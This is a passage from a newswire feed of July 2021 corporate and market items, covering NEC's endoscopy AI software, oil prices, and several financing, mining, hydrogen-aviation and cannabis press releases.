doctors address this challenging issue.To improve the chances of identifying if colorectal lesions are possibly neoplastic, and so to help endoscopists in their decision process, NEC developed a new technology where the learning power of AI is used to combine information of endoscopy images and data from the findings of expert physicians. Specifically, the technology analyzes still images of lesions taken with endoscopy devices, and if the AI determines that a colorectal lesion is likely to be neoplastic a "High possibility" notification message is displayed.NEC and the National Cancer Center Japan have been collaborating since 2016 to develop a technology that automatically detects suspected colorectal lesions during endoscopy examinations. NEC began sales of software incorporating this technology in January of this year (3). With the addition of this function in Europe, WISE VISION Endoscopy aims to help reduce the burden on doctors and patients by providing additional and immediately beneficial support during the examination process. In developing this solution NEC applied its face recognition technology, belonging to its portfolio of cutting edge AI based technologies (labelled "NEC the WISE"), which has been highly evaluated by the National Institute of Standards and Technology (NIST) in the United States (4).In the future, NEC will further promote joint research with the National Cancer Center Japan to further enhance the performance of its AI technology and to assist endoscopists with its usage.About WISE VISION EndoscopyThis software can be connected to endoscopes from leading endoscope manufacturers (5). By simply connecting an existing endoscope to a monitor and terminal equipped with the software, users can start using it immediately. The system issues sound notifications when a candidate lesion has been located, and the type and volume of the notification can be customized at any time according to user preferences. Moreover, a highly visible user interface allows intuitive operation, enabling endoscopists to smoothly proceed with examinations.Going forward, NEC aims to accelerate digital transformation in the medical field by providing safe and secure products and services, including AI, to promote a healthy, and sustainable society, where individuals can thrive from the utilization of advanced IT technologies.(1) "WISE VISION" is a registered trademark of NEC Corporation in the United States of America, the European Union and the United Kingdom.(2) According to United European Gastroenterologynew windowhttps://ueg.eu/p/78#(3) NEC releases "WISE VISION Endoscopy" in Europe and Japanhttps://www.nec.com/en/press/202101/global_20210112_01.htmlYamada M, Saito Y, Imaoka H, et al. Development of a real-time endoscopic image diagnosis support system using deep learning technology in colonoscopy. Sci Rep. 2019;9:14465. doi: 10.1038/s41598-019-50567-5. PMID: 31594962(4) NEC Face Recognition Technology Ranks First in NIST Accuracy Testinghttps://www.nec.com/en/press/201910/global_20191003_01.html(5) Connectivity and operations have been confirmed with the following endoscopes.Olympus EVIS LUCERA ELITE Video System Center CV-290FUJIFILM ELUXEO video processor VP-7000Source: NEC CorporationCopyright 2021 JCN Newswire . All rights reserved.
WASHINGTON (dpa-AFX) - Oil prices were moving lower on Wednesday after data showed a drop in China's first-half crude imports. Brent crude futures for September delivery dropped 0.7 percent to $75.97 a barrel, while West Texas Intermediate crude futures were down 0.6 percent at $74.76 a barrel. Data released by the General Administration of Customs showed on Tuesday that imports into the world's top crude oil importer for the first half of 2021 totaled 260.66 million tons, or about 10.51 million bpd, down about 3 percent from last year. The possibility of a market share battle, even if remote, is hanging over markets, the International Energy Agency warned on Tuesday amid the OPEC+ impasse and rising coronavirus infections in several countries around the world. Industry data showing a weekly fall in inventories offered some support to the market. The American Petroleum Institute reported late Tuesday that U.S. crude inventories declined by 4.1 million barrels for the week ended July 9. The report also showed a decline of nearly 1.6 million barrels for gasoline stockpiles and an increase of 3.7 million barrels for distillate inventories. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
14 July 2021

ANANDA DEVELOPMENTS PLC

("Ananda" or the "Company")

ISSUE OF CONVERTIBLE LOAN NOTES

Ananda announces that the Company has raised 350,000 (gross) and received firm commitments for a further 200,000 (gross) of convertible loan notes ("CLNs"). The CLNs will be convertible into ordinary shares in the Company ("Ordinary Shares") at a price of 1p per share and will have a fixed life of 2 years. The CLNs bear interest at a rate of 12.5% per annum, which will be rolled up and satisfied by the issue of Ordinary Shares at the end of the 2-year term.

The subscribers are all currently shareholders of the Company.

The proceeds from the issue of CLNs will be used by Ananda's 50% owned subsidiary DJT Plants Limited ("DJT Plants") to fund a larger than originally contemplated footprint for its medical cannabis field trials, to fit out the facility with lab equipment, and to secure the long-term services of key technical personnel. DJT Plants was awarded a licence to grow >0.2% THC cannabis for research purposes by the UK Government Home Office in May 2021.

Melissa Sturgess, CEO of Ananda, commented "We believe we have the opportunity to become a significant participant in the medical cannabis sector by supplying UK grown carbon neutral, consistent and high quality flower and oils to the UK and international markets. There is much work to be done and the team is focused on delivering on this vision. Conducting strain stabilisation and field trials research is the first, and possibly the most important, part of the plan."

Charles Morgan (Chairman of the Company) and Melissa Sturgess (Chief Executive Officer of the Company) have each subscribed for 125,000 of CLNs. In light of their existing interests in the Company, Charles Morgan and Melissa Sturgess have undertaken not to convert any CLNs and have agreed that no Ordinary Shares will be issued to them by way of interest payment, unless such exercise or issue is otherwise permitted by the City Code on Takeovers and Mergers.

DJT Plants is a wholly owned subsidiary of DJT Group Limited, which is owned 50/50 by Ananda's wholly owned subsidiary, Tiamat Agriculture Limited, and Anglia Salads Limited. On 8 June 2021, Ananda announced that non-binding Heads of Terms had been agreed for the proposed acquisition by Ananda of the 50% shareholding in DJT Plants not currently owned by Ananda. A circular containing further information and convening a General Meeting to approve that acquisition will be sent to Ananda shareholders as soon as possible. A further announcement will be made at that time.

-Ends-

The Directors of the Company accept responsibility for the contents of this announcement.

ANANDA DEVELOPMENTS PLC

Chief Executive Officer

Melissa Sturgess



Investor Relations

Jeremy Sturgess-Smith +44 (0)7463 686 497

ir@anandadevelopments.com PETERHOUSE CAPITAL LIMITED

Corporate Finance

Mark Anwyl

Allie Feuerlein



Corporate Broking

Lucy Williams

Duncan Vasey +44 (0)20 7469 0930

Market Abuse Regulation (MAR) Disclosure

The information contained within this announcement is deemed by the Company to constitute inside information. Upon the publication of this announcement via a Regulatory Information Service, this inside information is now considered to be in the public domain.
Sixteen companies recognized for their exemplary performance and valuable contributions in shaping new trends across Asia-Pacific

SINGAPORE, July 14, 2021 /PRNewswire/ -- Frost & Sullivan honored leading companies in the region at the 19th annual Asia-Pacific Best Practices Awards on 14 July. At its first virtual awards ceremony of the year, Frost & Sullivan presented 16 awards to Asia-Pacific's leading organizations for elevating performance benchmarks and for their outstanding industry achievements.

Congratulating the 2021 winners and recognizing their best-in-class performance, Senior Vice President Sapan Agarwal of Frost & Sullivan in Asia-Pacific said, "This year, we turn 60 as an organization ourselves, and over these years, companies that have inspired us the most are the ones who have been part of the solution to address global challenges. Award recipients tonight have rediscovered business models, redesigned value chains, and have successfully recreated foundations for sustained growth amid the unprecedented disruption by the Covid-19 pandemic."

The award recipients were identified using Frost & Sullivan's proprietary, measurement-based methodology derived from extensive primary and secondary research, in-depth interviews, analyses, and industry benchmarking. Numerous award categories were carefully reviewed and evaluated to reflect the current market landscape and highlight emerging trends in Asia. A detailed study was further conducted on each of the nominated companies, focusing on real-time performance indicators, such as market share, revenue growth, customer acquisitions, product/service value, and technology innovation. The companies that emerged represent outstanding leaders that are driving positive trends in the Asia-Pacific economy.

Award Titles and Categories Award Recipients Global and Regional Titles 2021 Global Enterprise Imaging Solutions Product Leadership Award Mach7 Technologies 2021 Asia-Pacific Clinical Oncology Next-generation Sequencing Workflow Solutions Product Leadership Award ACT Genomics 2021 Asia-Pacific Telecoms Tower Company of the Year Award edotco Group Sdn Bhd 2021 Asia-Pacific Functional Service Provider Pharmaceutical Competitive Strategy Leadership Award Labcorp Drug Development 2021 Asia-Pacific SME Accounting Software Vendor of the Year Award Xero Limited 2021 Asia-Pacific Customer Service Software Customer Value Leadership Award Zendesk Country Titles 2021 Australia Cloud Infrastructure Services Company of the Year Award Telstra 2021 Greater China CRO Entrepreneurial Company of the Year Award Viva Biotech Holdings 2021 Indonesia In Vitro Fertility Company of the Year Award Morula IVF Indonesia 2021 Indonesia Customer Experience Outsourcing Services Company of the Year Award PT Infomedia Nusantara 2021 Japan Contact Center Customer Value Leadership Award Rakuten Communications Corp 2021 Malaysia Facilities Management Competitive Strategy Leadership Award GFM Services Berhad 2021 Malaysia Hospital Company of the Year Award Subang Jaya Medical Centre 2021 Malaysia Mobile Services Company of the Year Award U Mobile 2021 Singapore Women's Health Entrepreneurial Company of The Year Award (Clinical Laboratories) INEX Innovate 2021 Thailand Data Center Services Company of the Year Award True Internet Data Center Co., Ltd.

To learn more about the awards and partnership opportunities for the 2021 awards, please visit http://www.apacbp-awards.com/. To schedule interaction with Frost & Sullivan spokespersons, please email Kala Mani.S at kala.manis@frost.com.

About Frost & Sullivan

For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion.

Contact:

Kala Mani. S.

Best Practices Awards Branding - Asia-Pacific

Email: kala.manis@frost.com
Reference is made to earlier information provided regarding Prosafe SE and subsidiary company Prosafe Rigs Pte. Ltd's ("Prosafe" or the Company") ongoing financial process with its lenders, latest on 18th June 2021.



As informed earlier, although Prosafe has received formal support from 94.5% of its secured lenders for the agreed financial solution, to enable the orderly implementation of the agreed restructuring solution, the Company together with its subsidiary Prosafe Rigs Pte Ltd have each today made an application to the High Court of the Republic of Singapore pursuant to section 210(1) of the Singapore Companies Act to seek permission to convene meetings of its creditors to vote on proposed schemes of arrangement (the "Singapore Scheme Applications"). The Singapore Scheme Applications are further supported by applications on foot for recognition of the existing Singapore Moratorium in other relevant jurisdictions. It is anticipated that implementation steps will be progressed in other relevant jurisdictions in due course.



The Company expects to be able to complete the overall restructuring transaction prior to 30 September 2021, which is the agreed long stop date with its secured lenders and corresponds to the current duration of the Singapore Moratorium as announced earlier.



The Company will make the appropriate announcements as and when there are further material developments on the financial process and the matters above. Please monitor Prosafe SE's website for any announcements or updates on the process.

www.prosafe.com

Moelis & Company are acting as financial advisors, and Schjdt and Clifford Chance are acting as legal advisors to Prosafe in connection with the restructuring.Prosafe is a leading owner and operator of semi-submersible accommodation vessels. The company is listed on the Oslo Stock Exchange with ticker code PRS. For more information, please refer to

Stavanger, 14 July 2021

Prosafe SE



For further information, please contact:



Jesper K. Andresen, CEO

Phone: +47 51 65 24 30 / +47 907 65 155



Stig Harry Christiansen, Deputy CEO and CFO

Phone: +47 51 64 25 17 / +47 478 07 813



This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act
Icelandair to pursue full decarbonization of its domestic fleet with Universal Hydrogen's fuel cell powertrain and hydrogen network

Universal Hydrogen, the company fueling carbon-free flight, today announced it has signed a letter of intent (LOI) with Icelandair Group, the leading airline in Iceland. Icelandair and Universal Hydrogen will pursue the implementation of green hydrogen, a carbon-free aviation fuel, as a propellant for Icelandair's domestic aircraft fleet. Universal Hydrogen is enabling this transformation with its aftermarket hydrogen conversion kit for regional aircraft, as well as a fuel distribution system based on a unique modular hydrogen capsule technology.

The companies share the goal of eliminating aviation's carbon footprint. Icelandair recognizes the critical need for a near-term solution to decarbonizing its fleet to meet global carbon reduction targets. For Universal Hydrogen and Icelandair, this LOI is the first step of an ambitious multilateral initiative, which requires working with Icelandic hydrogen producers, transportation companies, and airports. In a country with an electricity network powered by renewable energy, this represents an opportunity to decarbonize one of the most challenging industries aviation.

"Icelandair sets the standard high for responsible aviation, we are committed to reducing our carbon emissions and believe we are in a good position to become one of the world's first airlines to fully decarbonize our domestic network," said Bogi Nils Bogason, President and CEO of Icelandair Group. "Universal Hydrogen's work across both fuel logistics and services as well as aircraft conversions would allow us to accelerate our pursuit of a fully decarbonized domestic fleet and we're thrilled about the option to be an early adopter, that could bring hydrogen-powered Dash 8s to our skies in the next several years."

Given a positive outcome of the project and upon completion of the Dash 8 conversions of the Icelandair domestic fleet, Universal Hydrogen and Icelandair would enter into a long-term fuel services contract to provide cost-effective green hydrogen for Icelandair's fleet at scale. The net outcome of this relationship is to realize operational efficiencies as sustainability objectives are achieved.

"We are excited for this partnership with Icelandair as it represents an early opportunity to build an entirely carbon-free aviation ecosystem," said Paul Eremenko, co-founder and CEO of Universal Hydrogen. "Iceland's abundance of geothermal and hydroelectric power position it perfectly to be an early adopter of green hydrogen for its domestic aviation network."

About Icelandair

Icelandair is a leading airline in Iceland. Its core business is built around its route network and the unique geographical location of Iceland, its hub and home. Icelandair connects a number of destinations in Europe and North America, serving four markets to, from, via and within Iceland.

Icelandair is part of Icelandair Group which also operates an airfreight and logistics business, aircraft leasing and consulting services as well as a travel agency focusing on trips from Iceland.

About Universal Hydrogen

Universal Hydrogen is making hydrogen-powered commercial flight a near-term reality. The company takes a flexible, scalable, and capital-light approach to hydrogen logistics by transporting it in modular capsules over the existing freight network from green production sites to airports around the world. To accelerate market adoption, Universal Hydrogen is also developing a conversion kit to retrofit existing regional airplanes with a hydrogen-electric powertrain compatible with its modular capsule technology.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005516/en/

Contacts:

Kate Gundry

uh2@pluckpr.com

617.797.5174
WASHINGTON (dpa-AFX) - Retailer Dollar General (DG) announced Wednesday plans to hire up to 50,000 employees between now and Labor Day, providing career opportunities for individuals in its more than 17,400 stores, 27 distribution centers, its Private Fleet and its Store Support Center. This effort further underscores Dollar General's commitment to Serving Others by helping Americans get back to work as the country continues its transition out of the COVID-19 pandemic. The company encourages candidates to review and apply for desired career opportunities online. Earlier this year, the company announced plans to hire more than 20,000 employees during its spring nationwide hiring event. This next effort builds on the success of that program, aiming to support DG's currently-anticipated 1,050 new store openings in FY 2021 with positions available in store, distribution, transportation and corporate operations. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Fredericton, New Brunswick--(Newsfile Corp. - July 14, 2021) - TRU Precious Metals Corp. (TSXV: TRU) (OTCQB: TRUIF) (FSE: 706) ("TRU" or the "Company") is pleased to announce that it has entered into an option agreement dated July 13, 2021 (the "Option Agreement"), with an arm's length individual (the "Optionor"), in respect of 5 mineral licenses covering 51 contiguous claims (12.75 square kilometres (km2)) located in west-central Newfoundland (the "Optioned Claims"), on which the Company has found visible gold. The Optioned Claims are contiguous with the Company's flagship Golden Rose project ("Golden Rose" or the "Golden Rose Project"). In addition, the Company has indirectly staked a larger land package surrounding the Optioned Claims (the "Staked Claims"). Image 3 below contains a map showing the locations of the Optioned Claims and the Staked Claims.

TRU Co-Founder and CEO Joel Freudman commented: "I am excited about this option to add to our district-scale land package at the Golden Rose Project. TRU has moved aggressively in recent weeks to expand our footprint here, and the presence of visible gold on the Optioned Claims further bolsters the geological merit of Golden Rose. Having now tactically consolidated some of the most prospective property within and surrounding Golden Rose, for the time being we are satisfied that we have achieved one of our strategic objectives previously announced only one month ago on June 15th, namely property acquisitions contiguous with or close to the Company's existing properties. With these acquisitions completed at Golden Rose, we believe we are ideally positioned for further discoveries there as we continue to carry out our comprehensive ground-level exploration program in anticipation of drilling Golden Rose later this year."

Highlights

Due diligence sampling and panning on the Optioned Claims by TRU management consistently returned numerous pristine to modified gold grains. These gold grains were found within a few meters of a partially exposed hardpan gossan (oxidized rock formation often found above mineral occurrences) consisting of iron oxide encrusted quartz grains and other minerals. (Image 1)

A single large sample collected on the Optioned Claims by TRU was sent to Overburden Drilling Management Limited ("ODM") of Ottawa, Ontario, whose analysis identified 97 visible gold grains that may have a nearby source. (Image 2)





Image 1: Location Map of Gossan Discovery and Optionor's Reported Panned Gold

To view an enhanced version of Image 1, please visit:

https://orders.newsfilecorp.com/files/5993/90134_02d6651d14848841_001full.jpg





Image 2: Gold Grains Collected by TRU From Optioned Claims

To view an enhanced version of Image 2, please visit:

https://orders.newsfilecorp.com/files/5993/90134_02d6651d14848841_002full.jpg

Optioned Claims

Barry Greene, P.Geo., TRU's Vice-President of Property Development, and Pearce Bradley, P.Geo., TRU's Exploration Manager, both visited the Optioned Claims on a recent due diligence visit and collected a single 12.9 kilogram wet sample for submission to ODM for analysis. Mr. Greene also discovered the gossan during such visit.

ODM's analysis concluded: "The gold grains were likely subjected to minimal water transport as evidenced by the high proportion of pristine + modified morphologies and relatively high abundance of silt-sized grains suggesting a nearby source. The high calculated [heavy mineral concentrate] Au value suggests that the source, if bedrock, may be high grade."

Separate from TRU's sample, sampling and panning of beach sand and gravel over approximately 1 km by the Optionor reportedly returned numerous pristine to modified gold grains. The Optionor reported that the partially-exposed gossan identified by TRU was examined in several locations under the roots of upright trees.

Barry Greene, Vice-President of Property Development of TRU, added: "After panning so many pristine gold grains, we were pleasantly surprised to discover the hardpan gossan exposed under the roots of a nearby growing tree. As the roots were exposed to waves only during stormy weather, the gossan is not well exposed. Hopefully, the gossan represents the surface expression of a mineralized source which would enhance TRU's Golden Rose Project. The mode of occurrence and morphology of the gold grains are indicative of being derived from a local erosional surface. As it lies along the intersection of several structures, the Optioned Claims will be an immediate target for our exploration team already working in the area."

TRU's exploration team is already adapting the Company's field program to aggressively explore the Optioned Claims through soil sampling, ground geophysics and trenching. TRU plans to move all crews to the Optioned Claims shortly once exploration permits are in place.

Image 3: Optioned Claims (King George IV Claims) and Staked Claims

To view an enhanced version of Image 3, please visit:

https://orders.newsfilecorp.com/files/5993/90134_02d6651d14848841_003full.jpg

Terms of the Option Agreement

In order to acquire a 100% interest in the Optioned Claims, the Company must make the following cash payments and issue the following common shares in the capital of the Company ("TRU Shares"):

Share Issuances Cash Payments Deadline 100,000 TRU Shares $25,000 Upon signing the Option Agreement (completed) 100,000 TRU Shares $25,000, payable at the Company's discretion in cash or TRU Shares On or before

July 13, 2022 100,000 TRU Shares $40,000, payable at the Company's discretion in cash or TRU Shares On or before

July 13, 2023 300,000 TRU Shares in total $90,000

in total

In addition, the Company must fund $50,000 in exploration expenditures on the Optioned Claims on or before July 13, 2022.

Upon exercise of the option, TRU will grant the Optionor a 2.0% net smelter returns royalty from any future mineral production at the Optioned Claims, of which 1.0% can be repurchased by the Company for $1,000,000 at any time.

Following the Company's exercise of the option, should the Company define a National Instrument 43-101-compliant measured and indicated mineral resource estimate equal to at least 1,000,000 gold ounces (at 1 g/t cut-off) on the Optioned Claims, the Company shall make an additional cash payment of $250,000 to the Optionor.

The Option Agreement remains subject to regulatory approval by the TSX Venture Exchange.

Staked Claims

In addition to, but separate from, the Optioned Claims, TRU has also acquired, via indirect staking, 24 km2 of mineral claims contiguous with the Optioned Claims. The Staked Claims are being promptly transferred into TRU's ownership for no consideration beyond reimbursement of staking costs.

The Staked Claims are contiguous with the existing Golden Rose Project and the Optioned Claims. Taken together with all other Golden Rose property transactions announced by TRU during June and July of 2021, TRU has more than doubled the property package from its initial size of 105.0 km2 to a total of 215.25 km2, all along and adjacent to the deposit-bearing Cape Ray - Valentine Lake Shear Zone.

National Instrument 43-101 Disclosures

The 12.9kg wet beach sand sample was collected independently by TRU and was pre-screened in the field to remove coarse material. The sample was placed in a large plastic sample bag, sealed and shipped by TRU to ODM. At the lab, ODM collected one +/-300 gram archival split. The sample was panned for gold, PGM's and fine-grained metallic indicator minerals. Shaking table concentrates were refined by heavy liquid separation at S.G 3.3 to create Heavy Mineral Concentrates (HMCs)

The samples presented herein are selective by nature, and values reported may not represent the true grade or style of mineralization across the Golden Rose Project, including the Optioned Claims and/or the Staked Claims. The potential grades are conceptual in nature; there has been insufficient exploration to define a mineral resource; and it is uncertain whether further exploration will result in any targets being delineated as a mineral resource.

Barry Greene, P.Geo. is a qualified person as defined by National Instrument 43-101 and has reviewed and approved the contents and technical disclosures in this press release. Mr. Greene is a director and officer of the Company and owns securities of the Company.

About TRU Precious Metals Corp.

TRU has assembled a portfolio of 5 gold exploration properties in the highly prospective Central Newfoundland Gold Belt. The Company has an option with a subsidiary of TSX-listed Altius Minerals Corporation to purchase 100% of the Golden Rose Project, located along the deposit-bearing Cape Ray - Valentine Lake Shear Zone. TRU also owns 100% of the Twilite Gold Project, located along the same Shear Zone, and 3 under-explored properties including its Rolling Pond Property (under option) bordering New Found Gold Corp.'s high-grade Queensway Project. TRU's common shares trade on the TSX Venture Exchange under the symbol "TRU," on the OTCQB Venture Market under the symbol "TRUIF," and on the Frankfurt exchange under the symbol "706."

TRU is a portfolio company of Resurgent Capital Corp. ("Resurgent"), a merchant bank providing venture capital markets advisory services and proprietary financing. Resurgent works with promising public and pre-public micro-capitalization companies listing on Canadian stock exchanges. For more information on Resurgent and its portfolio companies, please visit Resurgent's LinkedIn profile at https://ca.linkedin.com/company/resurgent-capital-corp.

For further information about TRU, please contact:

Joel Freudman

Co-Founder, President & CEO

TRU Precious Metals Corp.

Phone: 1-855-760-2TRU (2878)

Email: ir@trupreciousmetals.com

Website: www.trupreciousmetals.com

To connect with TRU via social media, below are links:

Twitter

https://twitter.com/corp_tru

LinkedIn

https://www.linkedin.com/company/tru-precious-metals-corp

YouTube

https://www.youtube.com/channel/UCHghHMDQaYgS1rDHiZIeLUg

Facebook

https://www.facebook.com/TRU-Precious-Metals-Corp-100919195193616



Cautionary Statements Regarding Forward-Looking Information

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

The exploration information herein relating to samples panned by the Optionor on the Optioned Claims has been supplied by the Optionor and not been independently verified by TRU.

This press release contains certain forward-looking statements, including those relating to acquiring and exploring the Optioned Claims, the Staked Claims, and the Golden Rose Project. These statements are based on numerous assumptions regarding the Optioned Claims and the Option Agreement, the Staked Claims, and the Golden Rose Project, that are believed by management to be reasonable in the circumstances, and are subject to a number of risks and uncertainties, including without limitation: mineralization hosted on adjacent and/or nearby properties is not necessarily indicative of mineralization hosted on the Optioned Claims or elsewhere on the Golden Rose Project; the exploration or monetization potential of the Optioned Claims and/or the Golden Rose Project; challenges in identifying and executing additional acquisitions, on favourable terms or at all; risks inherent in mineral exploration activities; volatility in financial markets, economic conditions, and precious metals prices; and those other risks described in the Company's continuous disclosure documents. Actual results may differ materially from results contemplated by the forward-looking statements herein. Investors and others should carefully consider the foregoing factors and should not place undue reliance on such forward-looking statements. The Company does not undertake to update any forward-looking statements herein except as required by applicable securities laws.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90134
Halifax, Nova Scotia--(Newsfile Corp. - July 14, 2021) - ScoZinc Mining Ltd. (TSXV: SZM) ("ScoZinc" or the "Company") announces that it has agreed with Fancamp Exploration Ltd. ("Fancamp") to further extend the deadline for closing the transaction contemplated by the Arrangement Agreement between ScoZinc and Fancamp dated February 18, 2021 (the "Transaction").

Fancamp has agreed to pay ScoZinc a fee of $125,000 to extend the closing deadline to August 2, 2021. To the extent that the Transaction does not close by August 2, 2021, Fancamp may obtain a further extension of the closing to September 2, 2021, by paying an additional $125,000 to ScoZinc, prior to August 2, 2021.

ScoZinc's President and CEO, Mr. Mark Haywood, stated: "While we were disappointed at the delay in Fancamp's AGM and the closing of the Transaction, the business combination between ScoZinc and Fancamp remains a solid and transformational opportunity for both companies and their shareholders.

Our Scotia Mine has continued to advance on many fronts, and together with the significant improvements in the zinc and lead prices and the reductions in treatment charges from our 2020 Pre-Feasibility Study ("PFS"), indications are that the project may be more robust than previously determined by our industry experts. We are progressing on an update to the PFS to determine the level of improvement.

ScoZinc and Fancamp have agreed to keep the Transaction alive by extending the closing deadline for 30 days beyond the previous July 2, 2021 deadline, to August 2, 2021. Should Fancamp need additional time to close, we have agreed it may extend for a further 30 days to September 2, 2021 with the payment of the additional extension fee.

ScoZinc looks forward to closing the long-awaited Transaction with Fancamp and advancing the Scotia Mine to sustained commercial production as early as next year."

About ScoZinc Mining Ltd.

ScoZinc is a Canadian exploration and mining company that has full ownership of the Scotia Mine and related facilities near Halifax, Nova Scotia. ScoZinc also holds several prospective exploration licenses nearby its Scotia Mine and in surrounding regions of Nova Scotia.

The Company's common shares are traded on the TSX Venture Exchange under the symbol "SZM". For more information, please contact:

Mark Haywood

President & Chief Executive Officer

Robert Suttie

Chief Financial Officer

Simion Candrea

VP Investor Relations

Head Office

Purdy's Wharf, 1959 Upper Water Street, Suite 1301, Nova Scotia, B3J 3N2, Canada

Telephone +1 (902) 482 4481

Facsimile +1 (902) 422 2388

Email & Web info@ScoZinc.com & www.ScoZinc.com

The Company's corporate filings and technical reports can be viewed on the Company's SEDAR profile at www.sedar.com. Further information on ScoZinc is also available on Facebook at www.facebook.com/ScoZinc, Twitter at www.twitter.com/ScoZincMining, and LinkedIn at www.linkedin.com/company/scozinc-mining-ltd.

CAUTIONARY STATEMENTS

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release.

This news release includes certain forward-looking statements which are not comprised of historical facts. Forward-looking statements include estimates and statements that describe the Company's future plans, objectives or goals, including words to the effect that the Company or management expects a stated condition or result to occur. Forward-looking statements may be identified by such terms as "believes", "anticipates", "expects", "estimates", "may", "could", "would", "will", or "plan". Since forward-looking statements are based on assumptions and address future events and conditions, by their very nature they involve inherent risks and uncertainties. Although these statements are based on information currently available to the Company, the Company provides no assurance that actual results will meet management's expectations. Risks, uncertainties and other factors involved with forward-looking information could cause actual events, results, performance, prospects and opportunities to differ materially from those expressed or implied by such forward-looking information. Forward looking information in this news release includes, but is not limited to, the Company's objectives, goals or future plans, statements, potential mineralization, exploration and development results, the estimation of mineral resources, exploration and mine development plans, timing of the commencement of operations and estimates of market conditions. There can be no assurance that forward-looking statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from ScoZinc's expectations include, among others, the degree to which mineral resource and reserve estimates are reflective of actual mineral resources and reserves, the degree to which factors which would make a mineral deposit commercially viable are present, the price of zinc and lead, uncertainties relating to availability and costs of financing needed in the future, changes in equity markets, risks related to international operations, the actual results of current exploration activities, delays in the development of projects, conclusions of economic evaluations and changes in project parameters as plans continue to be refined as well as future prices of metals, ability to predict or counteract potential impact of COVID- 19 coronavirus on factors relevant to the Company's business, as well as those factors discussed in the section entitled "Risk Factors" in ScoZinc's management's discussion and analysis of the Company's annual financial statements for the period ended December 31, 2020. Although ScoZinc has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements.

NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90199
Toronto, Ontario--(Newsfile Corp. - July 14, 2021) - SLANG Worldwide Inc. (CSE: SLNG) (OTCQB: SLGWF) ("SLANG" or the "Company"), a leading global cannabis consumer packaged goods (CPG) company with a diversified portfolio of popular brands, today announced that it has launched two of its best-selling brands, O.pen and District Edibles, in the State of Washington through a strategic partnership with Snowcrest LLC ("Snowcrest"), a cultivator and processor in Vancouver, WA.

One of America's best-selling vape brands, O.pen, is now available across dispensaries in Washington. District Edibles is expected to launch in August, further increasing SLANG's product penetration in the Evergreen State. The strategic partnership with Snowcrest, LLC, allows for SLANG brands to be produced in a vertically integrated facility.

"Washington is one of the largest cannabis markets in the United States and we are excited to launch our first products for the adult-use market," said Chris Driessen, CEO of SLANG. "This strategic partnership enables us to increase our Gross Merchandise Value metric and expand our retail distribution network through a well-respected, vertically integrated operator with an established track record of success."

As part of this previously announced partnership, Snowcrest will manufacture SLANG branded products, and SLANG's sales and marketing teams will work to place these products in dispensaries across the state. The agreement follows a royalty-based payment structure. In addition, Dolce Foglia, LLC, a full-service flavor house catering to the growing food & beverage industries, is also working with Snowcrest to provide premium flavorings in an array of edible products.

Ryan Fabian, Owner of Snowcrest, LLC said, "We are thrilled about the strategic alliance with SLANG Worldwide for the Washington State cannabis market. The widely respected brands by SLANG, along with both teams' shared core values and vision of growth are a perfect fit. We proudly manufacture the highest quality flower, vape and edibles for distribution throughout the State of Washington. We look forward to years of successful growth together with the dynamic team and product brands of SLANG Worldwide."

To be added to SLANG's email distribution list, please email SLNG@kcsa.com with "SLNG" in the subject.

About SLANG Worldwide Inc.

SLANG Worldwide Inc. is a global leader in the cannabis CPG sector with a diversified portfolio of popular brands distributed across the United States. The Company specializes in acquiring and developing market-proven regional brands as well as launching innovative new brands to seize global market opportunities. For more information, please visit www.slangww.com.

Forward-Looking Statements

This news release contains statements that constitute "forward-looking statements." Such forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause actual results, performance or achievements, or developments in the industry to differ materially from the anticipated results, performance or achievements expressed or implied by such forward-looking statements. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects," "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Forward-looking statements included in this news release include, but are not limited to, statements in respect of the distribution of SLANG branded products in the state of Washington.

